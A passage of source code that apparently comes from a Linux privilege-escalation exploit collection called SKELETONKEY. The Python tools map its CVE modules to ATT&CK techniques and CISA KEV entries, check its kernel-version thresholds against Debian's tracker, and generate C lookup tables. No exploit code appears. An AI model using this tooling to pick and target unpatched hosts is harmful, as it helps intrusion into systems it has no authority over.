# Module → ATT&CK technique mapping. Almost all kernel/userspace LPEs
|
||||
# map to T1068 (Exploitation for Privilege Escalation). The two
|
||||
# exceptions are noted inline. This mapping is hand-curated; the
|
||||
# tool doesn't pull ATT&CK from any feed (MITRE doesn't publish a
|
||||
# clean CVE → technique CSV).
|
||||
ATTACK_MAPPING = {
|
||||
# Default for every CVE not listed: T1068, no subtechnique.
|
||||
"CVE-2022-0492": ("T1611", None), # cgroup_release_agent — container escape
|
||||
"CVE-2023-0458": ("T1082", None), # entrybleed — kernel info leak, not LPE
|
||||
}
|
||||
|
||||
|
||||
def discover_cves() -> list[str]:
|
||||
"""Find every CVE-NNNN-NNNN id by scanning modules/<dir>/."""
|
||||
cves = set()
|
||||
for child in MODULES_DIR.iterdir():
|
||||
if not child.is_dir():
|
||||
continue
|
||||
# Module dirs end in _cve_YYYY_NNNNN
|
||||
parts = child.name.split("_cve_")
|
||||
if len(parts) != 2:
|
||||
continue
|
||||
cve_tail = parts[1].replace("_", "-")
|
||||
cves.add(f"CVE-{cve_tail}")
|
||||
return sorted(cves)
|
||||
|
||||
|
||||
def fetch_kev_catalog() -> dict[str, str]:
|
||||
"""Return {cve_id: date_added_yyyy_mm_dd} from CISA's KEV CSV.
|
||||
|
||||
Python's urlopen sometimes times out on CISA's HTTP/2 endpoint
|
||||
even though curl works fine; we try urlopen first with a 60s
|
||||
budget, then fall back to shelling out to curl. Either way we
|
||||
end up with the same CSV bytes."""
|
||||
print(f"[*] fetching CISA KEV catalog ({KEV_URL})", file=sys.stderr)
|
||||
data: str | None = None
|
||||
try:
|
||||
with urllib.request.urlopen(KEV_URL, timeout=60) as r:
|
||||
data = r.read().decode("utf-8", errors="replace")
|
||||
except urllib.error.URLError as e:
|
||||
print(f"[!] urlopen failed ({e}); falling back to curl", file=sys.stderr)
|
||||
if data is None:
|
||||
import subprocess
|
||||
try:
|
||||
data = subprocess.check_output(
|
||||
["curl", "-fsSL", "--max-time", "60", KEV_URL],
|
||||
stderr=subprocess.DEVNULL,
|
||||
).decode("utf-8", errors="replace")
|
||||
except (subprocess.CalledProcessError, FileNotFoundError) as e:
|
||||
print(f"[!] curl fallback also failed: {e}", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
out: dict[str, str] = {}
|
||||
reader = csv.DictReader(io.StringIO(data))
|
||||
for row in reader:
|
||||
cve = row.get("cveID", "").strip()
|
||||
date = row.get("dateAdded", "").strip()
|
||||
if cve:
|
||||
out[cve] = date
|
||||
print(f"[+] KEV catalog has {len(out)} entries", file=sys.stderr)
|
||||
return out
|
||||
|
||||
|
||||
def fetch_nvd_cwe(cve: str) -> tuple[str | None, str | None]:
|
||||
"""Return (cwe_id, description) from NVD. Returns (None, None) on miss.
|
||||
|
||||
Same urlopen-hangs-silently pattern as the CISA fetch: NVD's HTTP/2
|
||||
endpoint sometimes leaves Python sockets in CLOSE_WAIT forever even
|
||||
though the 30s timeout should have fired (observed on macOS 2026-05-24,
|
||||
process hung 55+ minutes). We try urlopen first, then fall back to
|
||||
curl --max-time which honors the wall clock reliably."""
|
||||
url = NVD_URL.format(cve=cve)
|
||||
req = urllib.request.Request(url, headers={"User-Agent": "skeletonkey-cve-metadata/1"})
|
||||
blob = None
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=30) as r:
|
||||
blob = json.loads(r.read().decode("utf-8"))
|
||||
except urllib.error.HTTPError as e:
|
||||
print(f"[!] NVD HTTP {e.code} for {cve}", file=sys.stderr)
|
||||
return None, None
|
||||
except (urllib.error.URLError, json.JSONDecodeError, TimeoutError) as e:
|
||||
print(f"[!] NVD urlopen failed for {cve} ({e}); trying curl", file=sys.stderr)
|
||||
if blob is None:
|
||||
import subprocess
|
||||
try:
|
||||
raw = subprocess.check_output(
|
||||
["curl", "-fsSL", "--max-time", "20",
|
||||
"-H", "User-Agent: skeletonkey-cve-metadata/1",
|
||||
url],
|
||||
stderr=subprocess.DEVNULL,
|
||||
)
|
||||
blob = json.loads(raw.decode("utf-8"))
|
||||
except (subprocess.CalledProcessError, FileNotFoundError,
|
||||
json.JSONDecodeError) as e:
|
||||
print(f"[!] NVD curl fallback failed for {cve}: {e}", file=sys.stderr)
|
||||
return None, None
|
||||
vulns = blob.get("vulnerabilities") or []
|
||||
if not vulns:
|
||||
return None, None
|
||||
cve_obj = vulns[0].get("cve", {})
|
||||
# weaknesses: [{source, type, description: [{lang, value: "CWE-..."}]}]
|
||||
for w in cve_obj.get("weaknesses", []) or []:
|
||||
for d in w.get("description", []) or []:
|
||||
v = d.get("value", "")
|
||||
if v.startswith("CWE-"):
|
||||
return v, None # description not stored; CWE id alone is what we use
|
||||
return None, None
|
||||
|
||||
|
||||
def attack_for_cve(cve: str) -> tuple[str, str | None]:
|
||||
return ATTACK_MAPPING.get(cve, ("T1068", None))
|
||||
|
||||
|
||||
def short_module_name(cve: str) -> str:
|
||||
"""Find the directory under modules/ that ends with this CVE's tail."""
|
||||
tail = cve.removeprefix("CVE-").replace("-", "_")
|
||||
for child in MODULES_DIR.iterdir():
|
||||
if child.is_dir() and child.name.endswith(f"_cve_{tail}"):
|
||||
return child.name
|
||||
return "?"
|
||||
|
||||
|
||||
def build_records(cves: list[str], kev: dict[str, str]) -> list[dict]:
|
||||
records = []
|
||||
for i, cve in enumerate(cves, 1):
|
||||
print(f"[*] [{i:2d}/{len(cves)}] {cve}: NVD lookup", file=sys.stderr)
|
||||
cwe, _ = fetch_nvd_cwe(cve)
|
||||
tech, subtech = attack_for_cve(cve)
|
||||
in_kev = cve in kev
|
||||
rec = {
|
||||
"cve": cve,
|
||||
"module_dir": short_module_name(cve),
|
||||
"cwe": cwe,
|
||||
"attack_technique": tech,
|
||||
"attack_subtechnique": subtech,
|
||||
"in_kev": in_kev,
|
||||
"kev_date_added": kev.get(cve, ""),
|
||||
}
|
||||
records.append(rec)
|
||||
# Throttle NVD requests
|
||||
if i < len(cves):
|
||||
time.sleep(NVD_DELAY_SECONDS)
|
||||
return records
|
||||
|
||||
|
||||
def _c_str(s: str | None) -> str:
|
||||
"""Render a Python str|None as a C string literal or NULL."""
|
||||
if s is None:
|
||||
return "NULL"
|
||||
# only safe chars in our domain (CVE-/CWE-/T#### / dates) so no escaping needed
|
||||
return f'"{s}"'
|
||||
|
||||
|
||||
def write_c_table(records: list[dict]) -> None:
|
||||
"""Generate core/cve_metadata.c from the JSON records."""
|
||||
lines = [
|
||||
"/*",
|
||||
" * SKELETONKEY — CVE metadata table",
|
||||
" *",
|
||||
" * AUTO-GENERATED by tools/refresh-cve-metadata.py from",
|
||||
" * docs/CVE_METADATA.json. Do not hand-edit; rerun the script.",
|
||||
" * Sources: CISA KEV catalog + NVD CVE API 2.0.",
|
||||
" */",
|
||||
"",
|
||||
'#include "cve_metadata.h"',
|
||||
"",
|
||||
"#include <stddef.h>",
|
||||
"#include <string.h>",
|
||||
"",
|
||||
"const struct cve_metadata cve_metadata_table[] = {",
|
||||
]
|
||||
for r in records:
|
||||
lines.append(" {")
|
||||
lines.append(f" .cve = {_c_str(r['cve'])},")
|
||||
lines.append(f" .cwe = {_c_str(r['cwe'])},")
|
||||
lines.append(f" .attack_technique = {_c_str(r['attack_technique'])},")
|
||||
lines.append(f" .attack_subtechnique = {_c_str(r['attack_subtechnique'])},")
|
||||
lines.append(f" .in_kev = {'true' if r['in_kev'] else 'false'},")
|
||||
lines.append(f" .kev_date_added = {_c_str(r['kev_date_added'])},")
|
||||
lines.append(" },")
|
||||
lines += [
|
||||
"};",
|
||||
"",
|
||||
"const size_t cve_metadata_table_len =",
|
||||
" sizeof(cve_metadata_table) / sizeof(cve_metadata_table[0]);",
|
||||
"",
|
||||
"const struct cve_metadata *cve_metadata_lookup(const char *cve)",
|
||||
"{",
|
||||
" if (!cve) return NULL;",
|
||||
" for (size_t i = 0; i < cve_metadata_table_len; i++) {",
|
||||
" if (strcmp(cve_metadata_table[i].cve, cve) == 0)",
|
||||
" return &cve_metadata_table[i];",
|
||||
" }",
|
||||
" return NULL;",
|
||||
"}",
|
||||
"",
|
||||
]
|
||||
OUT_C.write_text("\n".join(lines))
|
||||
print(f"[+] wrote {OUT_C.relative_to(REPO_ROOT)}", file=sys.stderr)
|
||||
|
||||
|
||||
def write_outputs(records: list[dict]) -> None:
|
||||
OUT_JSON.parent.mkdir(parents=True, exist_ok=True)
|
||||
OUT_JSON.write_text(json.dumps(records, indent=2) + "\n")
|
||||
print(f"[+] wrote {OUT_JSON.relative_to(REPO_ROOT)}", file=sys.stderr)
|
||||
write_c_table(records)
|
||||
|
||||
# KEV cross-reference table
|
||||
in_kev = [r for r in records if r["in_kev"]]
|
||||
not_in_kev = [r for r in records if not r["in_kev"]]
|
||||
lines = [
|
||||
"# CISA KEV Cross-Reference",
|
||||
"",
|
||||
"Which SKELETONKEY modules cover CVEs that CISA has observed exploited",
|
||||
"in the wild per the Known Exploited Vulnerabilities catalog.",
|
||||
"Refreshed via `tools/refresh-cve-metadata.py`.",
|
||||
"",
|
||||
f"**{len(in_kev)} of {len(records)} modules cover KEV-listed CVEs.**",
|
||||
"",
|
||||
"## In KEV (prioritize patching)",
|
||||
"",
|
||||
"| CVE | Date added to KEV | CWE | Module |",
|
||||
"| --- | --- | --- | --- |",
|
||||
]
|
||||
for r in sorted(in_kev, key=lambda r: r["kev_date_added"]):
|
||||
lines.append(
|
||||
f"| {r['cve']} | {r['kev_date_added']} | {r['cwe'] or '?'} | `{r['module_dir']}` |"
|
||||
)
|
||||
lines += [
|
||||
"",
|
||||
"## Not in KEV",
|
||||
"",
|
||||
"Not observed exploited per CISA — but several have public PoC code",
|
||||
"and are technically reachable. \"Not in KEV\" is not the same as",
|
||||
"\"safe to ignore\".",
|
||||
"",
|
||||
"| CVE | CWE | Module |",
|
||||
"| --- | --- | --- |",
|
||||
]
|
||||
for r in sorted(not_in_kev, key=lambda r: r["cve"]):
|
||||
lines.append(f"| {r['cve']} | {r['cwe'] or '?'} | `{r['module_dir']}` |")
|
||||
lines.append("")
|
||||
OUT_MD.write_text("\n".join(lines))
|
||||
print(f"[+] wrote {OUT_MD.relative_to(REPO_ROOT)}", file=sys.stderr)
|
||||
|
||||
|
||||
def check_drift() -> int:
|
||||
"""Exit 1 if the committed JSON differs from a fresh fetch."""
|
||||
if not OUT_JSON.exists():
|
||||
print(f"[!] no committed {OUT_JSON.name} — run without --check first", file=sys.stderr)
|
||||
return 1
|
||||
committed = json.loads(OUT_JSON.read_text())
|
||||
fresh = build_records(discover_cves(), fetch_kev_catalog())
|
||||
if committed == fresh:
|
||||
print("[+] CVE_METADATA.json is current", file=sys.stderr)
|
||||
return 0
|
||||
print("[!] CVE_METADATA.json drifted — refresh via "
|
||||
"`tools/refresh-cve-metadata.py`", file=sys.stderr)
|
||||
return 1
|
||||
|
||||
|
||||
def main() -> int:
|
||||
ap = argparse.ArgumentParser(description=__doc__.splitlines()[1])
|
||||
ap.add_argument("--check", action="store_true",
|
||||
help="diff against committed metadata; exit 1 on drift")
|
||||
args = ap.parse_args()
|
||||
if args.check:
|
||||
return check_drift()
|
||||
cves = discover_cves()
|
||||
print(f"[*] {len(cves)} CVE(s) in corpus", file=sys.stderr)
|
||||
kev = fetch_kev_catalog()
|
||||
records = build_records(cves, kev)
|
||||
write_outputs(records)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
Executable
+346
@@ -0,0 +1,346 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
tools/refresh-kernel-ranges.py — Detect drift between each module's
|
||||
kernel_patched_from table and Debian's security-tracker data.
|
||||
|
||||
The repo's no-fabrication rule (CVES.md) means every kernel_range
|
||||
threshold has to come from a real, citeable source. Debian's
|
||||
security tracker is the most reliable per-CVE backport list — it's
|
||||
machine-readable and updated continuously by the Debian security
|
||||
team. This script:
|
||||
|
||||
1. Fetches https://security-tracker.debian.org/tracker/data/json
|
||||
(cached at /tmp/skeletonkey-debian-tracker.json, 12h TTL).
|
||||
2. Scans every modules/*/skeletonkey_modules.c for
|
||||
`kernel_patched_from <name>[] = { {M, m, p}, ... };` arrays and
|
||||
their corresponding `.cve = "CVE-..."` entry.
|
||||
3. For each module, compares the table against Debian's tracked
|
||||
fixed-versions for that CVE.
|
||||
4. Reports:
|
||||
missing branch — Debian has a fix at X.Y.Z; our table
|
||||
has no X.Y entry. The module's detect()
|
||||
would say VULNERABLE on a Debian host
|
||||
that's actually patched.
|
||||
too-tight threshold — Our X.Y.Z is HIGHER than Debian's fix
|
||||
version; our module would call a
|
||||
fixed host vulnerable. False-positive.
|
||||
info (more conservative) — Our threshold is LOWER than
|
||||
Debian's; we accept earlier kernels
|
||||
as patched. Could be intentional or
|
||||
could mean we have stale data.
|
||||
|
||||
Usage:
|
||||
tools/refresh-kernel-ranges.py # human report
|
||||
tools/refresh-kernel-ranges.py --json # machine-readable
|
||||
tools/refresh-kernel-ranges.py --patch # propose C-source edits
|
||||
tools/refresh-kernel-ranges.py --refresh # force re-fetch
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
import time
|
||||
import urllib.request
|
||||
|
||||
CACHE = "/tmp/skeletonkey-debian-tracker.json"
|
||||
TRACKER_URL = "https://security-tracker.debian.org/tracker/data/json"
|
||||
CACHE_TTL_SEC = 12 * 3600
|
||||
|
||||
|
||||
# ── tracker fetch ────────────────────────────────────────────────────
|
||||
|
||||
def fetch_tracker(force_refresh: bool = False) -> dict:
|
||||
"""Return the parsed Debian tracker JSON. Cached at /tmp with 12h TTL."""
|
||||
if not force_refresh and os.path.exists(CACHE):
|
||||
age = time.time() - os.stat(CACHE).st_mtime
|
||||
if age < CACHE_TTL_SEC:
|
||||
print(f"[*] using cached tracker ({CACHE}, age {int(age)}s)",
|
||||
file=sys.stderr)
|
||||
with open(CACHE) as f:
|
||||
return json.load(f)
|
||||
print(f"[*] fetching {TRACKER_URL} ...", file=sys.stderr)
|
||||
req = urllib.request.Request(
|
||||
TRACKER_URL,
|
||||
headers={"User-Agent": "skeletonkey/refresh-kernel-ranges"},
|
||||
)
|
||||
with urllib.request.urlopen(req, timeout=120) as r:
|
||||
data = r.read()
|
||||
os.makedirs(os.path.dirname(CACHE), exist_ok=True)
|
||||
with open(CACHE, "wb") as f:
|
||||
f.write(data)
|
||||
print(f"[*] tracker cached: {len(data) // 1024} KB", file=sys.stderr)
|
||||
return json.loads(data)
|
||||
|
||||
|
||||
# ── module source parsing ────────────────────────────────────────────
|
||||
|
||||
# Some modules have multiple .cve entries (e.g. dirty_frag_esp +
|
||||
# dirty_frag_esp6 share the same CVE). Pull the first one.
|
||||
RE_CVE = re.compile(r'\.cve\s*=\s*"(CVE-\d{4}-\d{4,7})"')
|
||||
RE_TABLE = re.compile(
|
||||
r'kernel_patched_from\s+(\w+)\s*\[\]\s*=\s*\{([^}]+(?:\}[^}]*)*?)\}\s*;',
|
||||
re.MULTILINE,
|
||||
)
|
||||
RE_ENTRY = re.compile(r'\{\s*(\d+)\s*,\s*(\d+)\s*,\s*(\d+)\s*\}')
|
||||
|
||||
|
||||
def find_modules(repo_root: str):
|
||||
"""Yield {name, src, cve, table, table_name, table_span} per module.
|
||||
|
||||
`table_span` is (start, end) byte offsets of the array body for
|
||||
--patch mode that wants to edit the source. `table` is a list of
|
||||
(major, minor, patch) tuples in source order."""
|
||||
mods_dir = os.path.join(repo_root, "modules")
|
||||
for d in sorted(os.listdir(mods_dir)):
|
||||
src = os.path.join(mods_dir, d, "skeletonkey_modules.c")
|
||||
if not os.path.exists(src):
|
||||
continue
|
||||
with open(src) as f:
|
||||
text = f.read()
|
||||
cve_m = RE_CVE.search(text)
|
||||
if not cve_m:
|
||||
continue
|
||||
tab_m = RE_TABLE.search(text)
|
||||
if not tab_m:
|
||||
continue
|
||||
entries = [tuple(int(x) for x in e) for e in RE_ENTRY.findall(tab_m.group(2))]
|
||||
if not entries:
|
||||
continue
|
||||
yield {
|
||||
"name": d,
|
||||
"src": src,
|
||||
"cve": cve_m.group(1),
|
||||
"table": entries,
|
||||
"table_name": tab_m.group(1),
|
||||
"table_span": (tab_m.start(2), tab_m.end(2)),
|
||||
}
|
||||
|
||||
|
||||
# ── Debian tracker lookup ────────────────────────────────────────────
|
||||
|
||||
# Debian release names we care about (in age order, oldest first).
|
||||
# The tracker has more (e.g. ELTS) but those are usually too old to
|
||||
# inform mainline-or-near-mainline backport thresholds.
|
||||
DEBIAN_RELEASES = ["bullseye", "bookworm", "trixie", "forky", "sid"]
|
||||
|
||||
|
||||
def parse_upstream_version(deb_ver: str) -> tuple[int, int, int] | None:
|
||||
"""Map a Debian package version like '5.10.218-1' to upstream
|
||||
(5, 10, 218). Returns None on parse failure."""
|
||||
if not deb_ver:
|
||||
return None
|
||||
# Strip everything after first '-' (Debian revision) or '+' (backport).
|
||||
head = re.split(r'[-+~]', deb_ver, maxsplit=1)[0]
|
||||
parts = head.split(".")
|
||||
if len(parts) < 3:
|
||||
# Some Debian versions are X.Y (no patch). Treat patch as 0.
|
||||
if len(parts) == 2:
|
||||
parts.append("0")
|
||||
else:
|
||||
return None
|
||||
try:
|
||||
return (int(parts[0]), int(parts[1]), int(parts[2]))
|
||||
except ValueError:
|
||||
return None
|
||||
|
||||
|
||||
def debian_fixed_for(tracker: dict, cve: str) -> dict[str, tuple[int, int, int]]:
|
||||
"""For a CVE, return {debian_release: upstream_version_tuple} of
|
||||
fixed versions per the tracker. Skips releases with no fix yet."""
|
||||
out: dict[str, tuple[int, int, int]] = {}
|
||||
for pkg in ("linux", "linux-grsec"):
|
||||
pkg_data = tracker.get(pkg, {})
|
||||
if cve not in pkg_data:
|
||||
continue
|
||||
cve_data = pkg_data[cve]
|
||||
for release, info in cve_data.get("releases", {}).items():
|
||||
if release not in DEBIAN_RELEASES:
|
||||
continue
|
||||
if info.get("status") != "resolved":
|
||||
continue
|
||||
fixed = info.get("fixed_version")
|
||||
up = parse_upstream_version(fixed)
|
||||
if up:
|
||||
out[release] = up
|
||||
return out
|
||||
|
||||
|
||||
# ── compare + report ─────────────────────────────────────────────────
|
||||
|
||||
def branch_of(v: tuple[int, int, int]) -> tuple[int, int]:
|
||||
return (v[0], v[1])
|
||||
|
||||
|
||||
def compare(table: list[tuple[int, int, int]],
|
||||
debian: dict[str, tuple[int, int, int]]) -> list[dict]:
|
||||
"""Return a list of finding dicts ({severity, message, ...})."""
|
||||
findings: list[dict] = []
|
||||
our_by_branch = {branch_of(t): t for t in table}
|
||||
|
||||
# Group Debian releases by branch (multiple releases may share a branch)
|
||||
debian_by_branch: dict[tuple[int, int], list[tuple[str, tuple[int, int, int]]]] = {}
|
||||
for rel, ver in debian.items():
|
||||
debian_by_branch.setdefault(branch_of(ver), []).append((rel, ver))
|
||||
|
||||
for branch, rels in debian_by_branch.items():
|
||||
# Use the OLDEST fix Debian has on this branch (most permissive)
|
||||
rels.sort(key=lambda x: x[1])
|
||||
oldest_rel, oldest_ver = rels[0]
|
||||
rel_list = ", ".join(f"{r}: {v[0]}.{v[1]}.{v[2]}" for r, v in rels)
|
||||
|
||||
if branch not in our_by_branch:
|
||||
findings.append({
|
||||
"severity": "MISSING",
|
||||
"message": (
|
||||
f"Debian has fix on the {branch[0]}.{branch[1]} branch "
|
||||
f"(earliest: {oldest_ver[0]}.{oldest_ver[1]}.{oldest_ver[2]}, "
|
||||
f"all: {rel_list}), but our table has no {branch[0]}.{branch[1]} entry"
|
||||
),
|
||||
"suggest_add": list(oldest_ver),
|
||||
})
|
||||
else:
|
||||
our = our_by_branch[branch]
|
||||
if our[2] > oldest_ver[2]:
|
||||
findings.append({
|
||||
"severity": "TOO_TIGHT",
|
||||
"message": (
|
||||
f"Our {our[0]}.{our[1]}.{our[2]} threshold is later than "
|
||||
f"Debian's earliest fix on the {branch[0]}.{branch[1]} branch "
|
||||
f"({oldest_ver[0]}.{oldest_ver[1]}.{oldest_ver[2]}, from "
|
||||
f"{oldest_rel}). Hosts at {branch[0]}.{branch[1]}.{oldest_ver[2]} "
|
||||
"are patched per Debian but our detect() would report "
|
||||
"VULNERABLE."
|
||||
),
|
||||
"suggest_replace": list(oldest_ver),
|
||||
})
|
||||
elif our[2] < oldest_ver[2]:
|
||||
# Our threshold is earlier — we're more permissive about
|
||||
# what counts as patched. Usually fine (we have better
|
||||
# info than Debian's stable backport) but flag as info.
|
||||
findings.append({
|
||||
"severity": "INFO",
|
||||
"message": (
|
||||
f"Our {our[0]}.{our[1]}.{our[2]} threshold is earlier "
|
||||
f"than Debian's {oldest_ver[0]}.{oldest_ver[1]}.{oldest_ver[2]} "
|
||||
f"({oldest_rel}). We're more permissive — verify this "
|
||||
"is intentional (e.g. we tracked a different distro's "
|
||||
"earlier backport)."
|
||||
),
|
||||
})
|
||||
|
||||
return findings
|
||||
|
||||
|
||||
# ── main ─────────────────────────────────────────────────────────────
|
||||
|
||||
def render_text(reports: list[dict]) -> None:
|
||||
"""Human-readable report on stderr."""
|
||||
drifted = 0
|
||||
for r in reports:
|
||||
if not r["findings"]:
|
||||
print(f"[+] {r['name']:32s} ({r['cve']}) — table is current "
|
||||
f"({len(r['table'])} entries)")
|
||||
continue
|
||||
drifted += 1
|
||||
print(f"[!] {r['name']} ({r['cve']})")
|
||||
print(f" table: " + ", ".join(
|
||||
f"{M}.{m}.{p}" for (M, m, p) in r["table"]))
|
||||
if r["debian"]:
|
||||
print(f" debian: " + ", ".join(
|
||||
f"{rel}={M}.{m}.{p}"
|
||||
for rel, (M, m, p) in sorted(r["debian"].items())))
|
||||
else:
|
||||
print(" debian: (no resolved entries for this CVE)")
|
||||
for f in r["findings"]:
|
||||
tag = {"MISSING": "+", "TOO_TIGHT": "✗", "INFO": "i"}[f["severity"]]
|
||||
print(f" [{tag}] {f['message']}")
|
||||
print()
|
||||
total = len(reports)
|
||||
print(f"=== {drifted}/{total} module(s) drifted ===", file=sys.stderr)
|
||||
|
||||
|
||||
def render_json(reports: list[dict]) -> None:
|
||||
print(json.dumps({"modules": reports}, indent=2, default=lambda o: list(o)))
|
||||
|
||||
|
||||
def render_patch(reports: list[dict]) -> None:
|
||||
"""Emit a brief proposed-edits diff for modules with MISSING or
|
||||
TOO_TIGHT findings. Not actually applied — operator reviews."""
|
||||
for r in reports:
|
||||
actionable = [f for f in r["findings"]
|
||||
if f["severity"] in ("MISSING", "TOO_TIGHT")]
|
||||
if not actionable:
|
||||
continue
|
||||
print(f"--- {r['src']}")
|
||||
print(f"+++ {r['src']} (proposed)")
|
||||
print(f"@@ kernel_patched_from {r['table_name']}[] @@")
|
||||
# Reconstruct the table with the actionable changes applied.
|
||||
new_table = list(r["table"])
|
||||
new_branches = {branch_of(t): list(t) for t in new_table}
|
||||
for f in actionable:
|
||||
if "suggest_add" in f:
|
||||
v = tuple(f["suggest_add"])
|
||||
new_branches[branch_of(v)] = list(v)
|
||||
elif "suggest_replace" in f:
|
||||
v = tuple(f["suggest_replace"])
|
||||
new_branches[branch_of(v)] = list(v)
|
||||
new_sorted = sorted(new_branches.values())
|
||||
old_set = {tuple(t) for t in r["table"]}
|
||||
for entry in new_sorted:
|
||||
t = tuple(entry)
|
||||
if t in old_set:
|
||||
print(f" {{{entry[0]:>2}, {entry[1]:>2}, {entry[2]:>3}}},")
|
||||
else:
|
||||
print(f" + {{{entry[0]:>2}, {entry[1]:>2}, {entry[2]:>3}}},")
|
||||
for old in r["table"]:
|
||||
if branch_of(old) not in new_branches or \
|
||||
list(old) != new_branches[branch_of(old)]:
|
||||
print(f" - {{{old[0]:>2}, {old[1]:>2}, {old[2]:>3}}},")
|
||||
print()
|
||||
|
||||
|
||||
def main() -> int:
|
||||
json_mode = "--json" in sys.argv
|
||||
patch_mode = "--patch" in sys.argv
|
||||
force = "--refresh" in sys.argv
|
||||
|
||||
repo_root = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
|
||||
tracker = fetch_tracker(force_refresh=force)
|
||||
|
||||
if "linux" not in tracker:
|
||||
print("[-] tracker JSON has no 'linux' package — schema changed?",
|
||||
file=sys.stderr)
|
||||
return 1
|
||||
|
||||
reports: list[dict] = []
|
||||
for mod in find_modules(repo_root):
|
||||
debian = debian_fixed_for(tracker, mod["cve"])
|
||||
findings = compare(mod["table"], debian)
|
||||
reports.append({
|
||||
"name": mod["name"],
|
||||
"src": mod["src"],
|
||||
"cve": mod["cve"],
|
||||
"table_name": mod["table_name"],
|
||||
"table": [list(t) for t in mod["table"]],
|
||||
"debian": {k: list(v) for k, v in debian.items()},
|
||||
"findings": findings,
|
||||
})
|
||||
|
||||
if json_mode:
|
||||
render_json(reports)
|
||||
elif patch_mode:
|
||||
render_patch(reports)
|
||||
else:
|
||||
render_text(reports)
|
||||
|
||||
# Exit code: 1 if any MISSING or TOO_TIGHT, 0 otherwise. INFO is fine.
|
||||
actionable = sum(1 for r in reports for f in r["findings"]
|
||||
if f["severity"] in ("MISSING", "TOO_TIGHT"))
|
||||
return 1 if actionable else 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
Executable
+174
@@ -0,0 +1,174 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
tools/refresh-verifications.py — read docs/VERIFICATIONS.jsonl,
|
||||
generate core/verifications.c with a deduped, sorted lookup table.
|
||||
|
||||
Dedup key: (module, vm_box, host_kernel, expect_detect).
|
||||
On collision, the LATEST verified_at wins (so re-runs update rather
|
||||
than accumulate). Records are then sorted by module name so the
|
||||
output is stable and review-friendly.
|
||||
|
||||
Records with no module name are dropped silently. Records with
|
||||
status != "match" are kept so MISMATCH histories stay visible in
|
||||
--module-info (but don't earn the ✓ verified badge).
|
||||
|
||||
Usage:
|
||||
tools/refresh-verifications.py # regenerate core/verifications.c
|
||||
tools/refresh-verifications.py --check # exit 1 if regenerating would change anything
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
REPO = Path(__file__).resolve().parent.parent
|
||||
JSONL = REPO / "docs" / "VERIFICATIONS.jsonl"
|
||||
OUT_C = REPO / "core" / "verifications.c"
|
||||
|
||||
|
||||
def load_records():
|
||||
if not JSONL.exists():
|
||||
return []
|
||||
out = []
|
||||
for line in JSONL.read_text().splitlines():
|
||||
line = line.strip()
|
||||
if not line or line.startswith("#"):
|
||||
continue
|
||||
try:
|
||||
r = json.loads(line)
|
||||
if r.get("module"):
|
||||
out.append(r)
|
||||
except json.JSONDecodeError as e:
|
||||
print(f"[!] skipping bad JSONL line: {e}", file=sys.stderr)
|
||||
return out
|
||||
|
||||
|
||||
def dedup_latest(records):
|
||||
"""Keep only the latest record per (module, vm_box, host_kernel).
|
||||
|
||||
NB: expect_detect is intentionally NOT part of the dedup key. If we
|
||||
re-verify the same target with a corrected expectation, the new
|
||||
record supersedes the old one entirely (the old MISMATCH was a stale
|
||||
target-yaml entry, not a separate test scenario)."""
|
||||
by_key = {}
|
||||
for r in records:
|
||||
k = (r.get("module"), r.get("vm_box"), r.get("host_kernel"))
|
||||
prev = by_key.get(k)
|
||||
if prev is None or r.get("verified_at", "") > prev.get("verified_at", ""):
|
||||
by_key[k] = r
|
||||
return sorted(by_key.values(),
|
||||
key=lambda r: (r["module"], r.get("vm_box", ""),
|
||||
r.get("host_kernel", "")))
|
||||
|
||||
|
||||
def date_only(iso_ts: str) -> str:
|
||||
"""Truncate 2026-05-23T19:26:02Z -> 2026-05-23."""
|
||||
if not iso_ts:
|
||||
return ""
|
||||
return iso_ts.split("T", 1)[0]
|
||||
|
||||
|
||||
def cstr(s):
|
||||
if s is None or s == "":
|
||||
return '""'
|
||||
# No paths in here ever contain unescapable chars; basic backslash + quote escape.
|
||||
return '"' + s.replace("\\", "\\\\").replace('"', '\\"') + '"'
|
||||
|
||||
|
||||
def render_c(records) -> str:
|
||||
lines = [
|
||||
"/*",
|
||||
" * SKELETONKEY — verification records table",
|
||||
" *",
|
||||
" * AUTO-GENERATED by tools/refresh-verifications.py from",
|
||||
" * docs/VERIFICATIONS.jsonl. Do not hand-edit; rerun the script.",
|
||||
" *",
|
||||
" * Source: tools/verify-vm/verify.sh appends one JSON record per",
|
||||
" * run; this generator dedupes to (module, vm_box, kernel, expect)",
|
||||
" * and keeps the latest by verified_at.",
|
||||
" */",
|
||||
"",
|
||||
'#include "verifications.h"',
|
||||
"",
|
||||
"#include <stddef.h>",
|
||||
"#include <string.h>",
|
||||
"#include <stdbool.h>",
|
||||
"",
|
||||
"const struct verification_record verifications[] = {",
|
||||
]
|
||||
for r in records:
|
||||
lines.append(" {")
|
||||
lines.append(f" .module = {cstr(r.get('module'))},")
|
||||
lines.append(f" .verified_at = {cstr(date_only(r.get('verified_at', '')))},")
|
||||
lines.append(f" .host_kernel = {cstr(r.get('host_kernel'))},")
|
||||
lines.append(f" .host_distro = {cstr(r.get('host_distro'))},")
|
||||
lines.append(f" .vm_box = {cstr(r.get('vm_box'))},")
|
||||
lines.append(f" .expect_detect = {cstr(r.get('expect_detect'))},")
|
||||
lines.append(f" .actual_detect = {cstr(r.get('actual_detect'))},")
|
||||
lines.append(f" .status = {cstr(r.get('status'))},")
|
||||
lines.append(" },")
|
||||
lines += [
|
||||
"};",
|
||||
"",
|
||||
"const size_t verifications_count =",
|
||||
" sizeof(verifications) / sizeof(verifications[0]);",
|
||||
"",
|
||||
"const struct verification_record *",
|
||||
"verifications_for_module(const char *module, size_t *count_out)",
|
||||
"{",
|
||||
" if (count_out) *count_out = 0;",
|
||||
" if (!module) return NULL;",
|
||||
" const struct verification_record *first = NULL;",
|
||||
" size_t n = 0;",
|
||||
" for (size_t i = 0; i < verifications_count; i++) {",
